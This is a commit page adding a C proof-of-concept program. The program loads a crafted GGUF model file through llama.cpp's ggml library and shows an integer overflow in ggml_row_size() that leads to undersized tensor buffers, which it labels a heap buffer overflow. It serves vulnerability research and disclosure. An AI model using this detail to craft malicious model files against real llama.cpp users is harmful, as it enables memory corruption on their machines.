salvepilo commited on
Commit
fb05c3a
·
verified ·
1 Parent(s): d6a1163

Upload test_tensor_overflow.c with huggingface_hub

Browse files
Files changed (1) hide show
  1. test_tensor_overflow.c +113 -0
test_tensor_overflow.c ADDED
@@ -0,0 +1,113 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+ * Test program to demonstrate integer overflow in tensor size calculation.
3
+ * Loads a malicious GGUF file and shows that ggml_nbytes() returns
4
+ * an incorrect (too small) value due to integer overflow in ggml_row_size().
5
+ *
6
+ * Compile:
7
+ * cc -o test_tensor_overflow test_tensor_overflow.c \
8
+ * -I ../llama.cpp/ggml/include -I ../llama.cpp/ggml/src \
9
+ * -L ../llama.cpp/build/bin -lggml-base -lggml \
10
+ * -Wl,-rpath,../llama.cpp/build/bin
11
+ *
12
+ * Run:
13
+ * ./test_tensor_overflow poc_tensor_overflow.gguf
14
+ */
15
+
16
+ #include <stdio.h>
17
+ #include <stdlib.h>
18
+ #include <stdint.h>
19
+ #include <inttypes.h>
20
+ #include "ggml.h"
21
+ #include "gguf.h"
22
+
23
+ int main(int argc, char **argv) {
24
+ if (argc < 2) {
25
+ fprintf(stderr, "Usage: %s <gguf_file>\n", argv[0]);
26
+ return 1;
27
+ }
28
+
29
+ const char *fname = argv[1];
30
+ printf("=== Tensor Integer Overflow PoC ===\n");
31
+ printf("Loading: %s\n\n", fname);
32
+
33
+ struct ggml_context *ctx = NULL;
34
+ struct gguf_init_params params = {
35
+ .no_alloc = true,
36
+ .ctx = &ctx,
37
+ };
38
+
39
+ struct gguf_context *gctx = gguf_init_from_file(fname, params);
40
+ if (!gctx) {
41
+ fprintf(stderr, "ERROR: gguf_init_from_file failed!\n");
42
+ return 1;
43
+ }
44
+
45
+ printf("[+] GGUF file loaded successfully (all validation passed!)\n\n");
46
+
47
+ int n_tensors = gguf_get_n_tensors(gctx);
48
+ printf("Number of tensors: %d\n\n", n_tensors);
49
+
50
+ // Iterate over tensors and show the overflow
51
+ struct ggml_tensor *tensor = ggml_get_first_tensor(ctx);
52
+ while (tensor) {
53
+ printf("Tensor: '%s'\n", tensor->name);
54
+ printf(" Type: %s (type_size=%zu, blck_size=%" PRId64 ")\n",
55
+ ggml_type_name(tensor->type),
56
+ ggml_type_size(tensor->type),
57
+ ggml_blck_size(tensor->type));
58
+ printf(" Dimensions: ne[0]=%" PRId64 ", ne[1]=%" PRId64
59
+ ", ne[2]=%" PRId64 ", ne[3]=%" PRId64 "\n",
60
+ tensor->ne[0], tensor->ne[1], tensor->ne[2], tensor->ne[3]);
61
+ printf(" Strides: nb[0]=%zu, nb[1]=%zu, nb[2]=%zu, nb[3]=%zu\n",
62
+ tensor->nb[0], tensor->nb[1], tensor->nb[2], tensor->nb[3]);
63
+
64
+ size_t nbytes = ggml_nbytes(tensor);
65
+ int64_t nelements = ggml_nelements(tensor);
66
+
67
+ // Compute what the correct size should be
68
+ // For Q4_0: correct = type_size * nelements / blck_size = 18 * ne[0] / 32
69
+ size_t type_size = ggml_type_size(tensor->type);
70
+ int64_t blck_size = ggml_blck_size(tensor->type);
71
+ // Use Python-style big number arithmetic to show correct value
72
+ // correct_nbytes = nelements * type_size / blck_size
73
+ // But we can't compute this without overflow in C, so just show the values
74
+
75
+ printf(" ggml_nbytes(): %zu bytes\n", nbytes);
76
+ printf(" ggml_nelements(): %" PRId64 "\n", nelements);
77
+ printf(" ggml_row_size(): %zu bytes\n", ggml_row_size(tensor->type, tensor->ne[0]));
78
+
79
+ // Show the overflow
80
+ size_t row_size = ggml_row_size(tensor->type, tensor->ne[0]);
81
+ printf("\n === OVERFLOW DETECTION ===\n");
82
+ printf(" ggml_row_size = type_size * ne[0] / blck_size\n");
83
+ printf(" = %zu * %" PRId64 " / %" PRId64 "\n",
84
+ type_size, tensor->ne[0], blck_size);
85
+ printf(" Computed result: %zu bytes\n", row_size);
86
+
87
+ // Check for overflow: if type_size * ne[0] / blck_size != row_size
88
+ // then overflow occurred
89
+ // We can detect this by checking: row_size * blck_size / type_size != ne[0]
90
+ if (type_size > 0 && blck_size > 0) {
91
+ int64_t reconstructed = (int64_t)(row_size * blck_size / type_size);
92
+ if (reconstructed != tensor->ne[0]) {
93
+ printf(" *** INTEGER OVERFLOW DETECTED! ***\n");
94
+ printf(" Reconstructed ne[0] from row_size: %" PRId64 "\n", reconstructed);
95
+ printf(" Actual ne[0]: %" PRId64 "\n", tensor->ne[0]);
96
+ printf(" The buffer would be %zu bytes but tensor claims %" PRId64 " elements!\n",
97
+ nbytes, nelements);
98
+ printf(" This is a HEAP BUFFER OVERFLOW vulnerability!\n");
99
+ } else {
100
+ printf(" No overflow detected for this tensor.\n");
101
+ }
102
+ }
103
+
104
+ printf("\n");
105
+ tensor = ggml_get_next_tensor(ctx, tensor);
106
+ }
107
+
108
+ ggml_free(ctx);
109
+ gguf_free(gctx);
110
+
111
+ printf("[+] Test complete.\n");
112
+ return 0;
113
+ }